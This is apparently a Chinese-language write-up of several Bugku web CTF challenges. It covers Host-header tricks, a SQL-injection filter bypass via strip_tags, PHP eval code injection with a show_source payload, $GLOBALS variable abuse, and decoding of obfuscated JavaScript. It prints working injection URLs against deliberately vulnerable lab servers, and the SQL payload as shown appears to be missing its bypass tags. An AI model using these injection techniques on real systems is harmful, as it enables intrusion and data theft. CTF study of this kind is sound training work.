题目描述:听说把flag.bugku.com 解析到120.24.86.145 就能拿到flag
这里需要了解两个概念:
域名解析:
域名解析是将域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
hosts文件:
Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
需要注意的是,Hosts文件配置的映射是静态的,如果网络上的计算机更改了请及时更新IP地址,否则将不能访问。
测试:直接访问flag.bugku.com和120.24.86.145如图:
flag.bugku.com
不能解析flag.bugku.com为IP 120.24.86.145
120.24.86.145
这里出现了(400 Bad Request)状态码:查了一下大意是请求头缺少缺少host域,详情请见:
http://blog.51cto.com/leejia/1434564
普及一下host头信息:http://www.voidcn.com/article/p-qmcrhktt-ze.html
总结:120.24.86.145需要flag.bugku.com作为host头信息接收,返回flag,但flag.bugku.com又不能通过DNS服务器解析。
有以下两种方法:
1.修改hosts文件:
直接在hosts文件中添加flag.bugku.com
120.24.86.145
2.修改头信息:
用burpsuit抓包修改host头信息为flag.bugku.com
。
得到flag
p:考察hosts文件,域名,DNS服务器
提示:过滤了关键字 你能绕过他吗
打开网页显示部分源码如下:
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
函数解释:
substr_count() 函数计算子串在字符串中出现的次数。
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
测试:http://103.238.227.13:10087/?id=1--+
返回正常,说明ID参数没有任何包裹
有源码可知ID参数进行了严格的过滤需要对其进行绕过。
思路:通过在payload中嵌套html标签,利用strip_tags() 函数达到绕过目的。
payload:
http://103.238.227.13:10087/?id=-1 union select 1,hash from .key
得到flag。
p:SQL注入,strip_tags()绕过
进入页面发现页面不停地刷新。查看源码发现是如下代码作祟:
<script language="JavaScript">
function myrefresh(){
window.location.reload();//刷新页面
}
setTimeout('myrefresh()',500);
//setTimeout() 方法用于在指定的毫秒数后调用函数或计算表达式。
script>
可使用burp抓包,然后不停的go go go
网站后台应该是有15张图片,每次刷新会随机显示一张图片,
题目提示说当你在panda处停下就能拿到flag,经测试在10.jpg处能拿到flag
p:考察抓包
打开网页出现源码如下:
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
代码解析:
eval() 函数把字符串按照 PHP 代码来执行。
var_dump() 打印变量的相关信息
show_source() 函数对文件进行语法高亮显示。
@ 错误控制操作符,有仰制错误显示的功能。添加这个只是为了让浏览者不看到不友好的页面,并不能抑制住错误,只能抑制显示错误!
有源码可知,hello参数可控且未进行处理赋值给$a,之后直接传递给eval函数处理,因此可通过构造hello参数执行PHP代码。
payload:
http://120.24.86.145:8003/?hello=1);show_source('flag.php');var_dump(
传入得flag
p:代码执行漏洞
打开页面:
flag In the variable !
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
代码解读:
preg_match用于执行一个正则表达式匹配。
eval() 函数把字符串按照 PHP 代码来执行。
var_dump() 打印变量的相关信息
[\w+]表示匹配数字、字母、下划线和加号本身字符
思路:用户可控的变量只有args,但是经过了过滤,只允许是数字,字母与下划线的组合。
这里我们看到eval("var_dump($$args);");
语句中,var_dump中的变量有两个$
符,说明var_dump
中的变量名由$args
指定,而题目提示说flag在变量里,考虑到可以利用$GLOBLES
变量。
$GLOBALS — 是一个数组,包含了全局作用域中可用的全部变量。变量的名字就是数组的键。
payload:
http://120.24.86.145:8004/index1.php?args=GLOBALS
得到flag。
p:代码执行漏洞,对$_GLOBLES变量的使用
打开网页,查看源码如图:
发现如高亮部分的代码(不完整)。
题目已经提示了是JSPFUCK。
jspfuck:jspfuck代码是一种合法的Javascript代码,可在大部分浏览器中运行。jspfuck只包含六种字符,黑客在攻击时可以利用他来进行一些绕过。(详情见链接)
一个在线工具
利用在线工具运行,得到flag,记得转为大写。
p:jsfuck
页面无线索,网页源码无线索,最后抓包在响应头里看到了flag,回顾题目头等舱应该提示的就是头信息吧。
打开网页源码,发现如下代码:
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
url解码后:
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){
if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
代码解析:
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
unescape() 函数可对通过 escape() 编码的字符串进行解码。
escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
加号(+)拼接字符串,数字。
整理后代码如下:
function checkSubmit(){
var a=document.getElementById("password");
//获取ID名为password的文档元素,并赋给a
if("undefined"!=typeof a){
//判断a的类型是否undefined
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
//判断:a元素的value值是否为67d709b2b54aa2aa648cf6e87a7114f1
return!0;
alert("Error");
//弹框:Error
a.focus();
//获得焦点时,改变背景颜色
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
//获取ID值为levelQuest的文档元素,点击submit时执行checksubmit函数
//onsubmit:再点击submit时发生,若返回真提交表单
分析代码后,了解到表单的ID值为levelQuest,输入框的ID值为password,通过F12,修改网页元素为相应的值,在表单中提交67d709b2b54aa2aa648cf6e87a7114f1,拿到flag
p:考察Js,以及F12修改元素